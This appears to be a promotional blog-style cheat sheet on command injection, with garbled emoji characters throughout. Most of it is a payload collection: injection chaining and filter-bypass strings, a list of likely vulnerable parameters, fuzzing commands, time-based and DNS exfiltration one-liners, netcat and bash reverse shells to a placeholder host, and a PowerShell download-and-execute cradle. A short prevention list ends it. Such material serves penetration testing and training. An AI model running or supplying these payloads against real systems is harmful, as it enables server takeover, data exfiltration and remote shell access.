Command Injection is a critical vulnerability that allows an attacker to execute arbitrary system commands on a server hosting an application. If an application improperly handles user input and passes it to the operating system, an attacker can escape the intended function and execute system commands with the same privileges as the application.
Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.

π οΈ How Command Injection Works (Skip if You Know the Basics)
Applications that call system functions (e.g., shell commands) without sanitizing user input are vulnerable.
Example: Vulnerable Code (PHP)
<?php
$user = $_GET['user'];
system("ping -c 4 " . $user);
?>π‘ Problem: The script appends user input to the system command without validation.
π£ Attack: Inject ; cat /etc/passwd to execute extra commands!
http://target.com/ping.php?user=127.0.0.1;cat /etc/passwdβ
Result: The contents of /etc/passwd (Linux user accounts) are displayed.
π Exploiting Command Injection: Practical Examples
π Universal (Works on Unix & Windows)
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Pipe output between commands
ls&&id; ls &&id; ls&& id; ls && id # Execute second command only if first succeeds
ls&id; ls &id; ls& id; ls & id # Execute both but see output of second command
ls %0A id # Newline execution (RECOMMENDED)π Unix-Specific Payloads
`ls` # Executes command within backticks
$(ls) # Executes command within $()
ls; id # Chains commands with a semicolon
ls${LS_COLORS:10:1}${IFS}id # Bypass certain filtersπ Windows-Specific Bypasses
powershell C:**2\n??e*d.*? # Executes "notepad"
@^p^o^w^e^r^shell c:**32\c*?c.e?e # Executes "calc"π Bypassing Input Filters & Restrictions
Breaking Out of Quoted Context
Sometimes, input is wrapped inside double quotes (" ") or single quotes (' '). You need to escape them to inject commands.
πΉ If input is in double quotes (" ")
"test" && whoamiπΉ If input is in single quotes (' ')
'test' && whoamiπΉ If backslashes are filtered
\$\(whoami\)Bypass Linux Restrictions
π Finding Vulnerable Parameters
Many applications accept user input through query parameters. Here are the top 25 parameters that could be vulnerable to Command Injection or Remote Code Execution (RCE):
?cmd={payload}
?exec={payload}
?command={payload}
?execute={payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}π Automate Testing for These Parameters:
wfuzz -c -z file,payloads.txt --hc 404 "http://target.com/page?input=FUZZ"
ffuf -u "http://target.com/page?input=FUZZ" -w payloads.txtπ£ Advanced Command Injection Techniques
β³ Time-Based Data Exfiltration
Extracting data character by character:
time if [ $(whoami | cut -c 1) == s ]; then sleep 5; fiβ±οΈ If response takes 5+ seconds, the first letter is 's'. Repeat to extract the full username.
π‘ DNS-Based Data Exfiltration
1οΈβ£ Use an Online DNS Logging Service (like dnsbin.zhack.ca) 2οΈβ£ Exfiltrate File Contents via DNS Requests
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; doneπ This technique avoids detection because many firewalls allow outbound DNS traffic.
π₯ Exploiting Command Injection for Remote Shell Access
Linux Reverse Shell
Netcat Reverse Shell
1οΈβ£ Start a listener on your machine:
nc -lvnp 44442οΈβ£ Inject payload on the vulnerable target:
http://target.com/page?input=nc -e /bin/sh YOUR_IP 4444Bash Reverse Shell
http://target.com/page?input=bash -i >& /dev/tcp/YOUR_IP/4444 0>&1Windows Reverse Shell
PowerShell Reverse Shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP/shell.ps1')"How to Prevent Command Injection
β
Use Parameterized Inputs β Never concatenate user input into system commands.
β
Sanitize Input Properly β Use escapeshellcmd() and escapeshellarg() in PHP.
β
Restrict System Commands β Applications should not execute arbitrary OS commands.
β
Use a Web Application Firewall (WAF) β Detect and block malicious requests.
β
Run Applications with Least Privileges β Avoid running apps as root/admin.
π Join the VeryLazyTech community today and level up your skills! π
Become VeryLazyTech member! π
Follow us on:
- β Twitter @VeryLazyTech.
- πΎ Github @VeryLazyTech.
- π Medium @VeryLazyTech.
- πΊ YouTube @VeryLazyTech.
- π© Telegram @VeryLazyTech.
- π΅οΈββοΈ My Site @VeryLazyTech.
Support us and buy me a coffee. β
Visit our shop for e-books and courses. π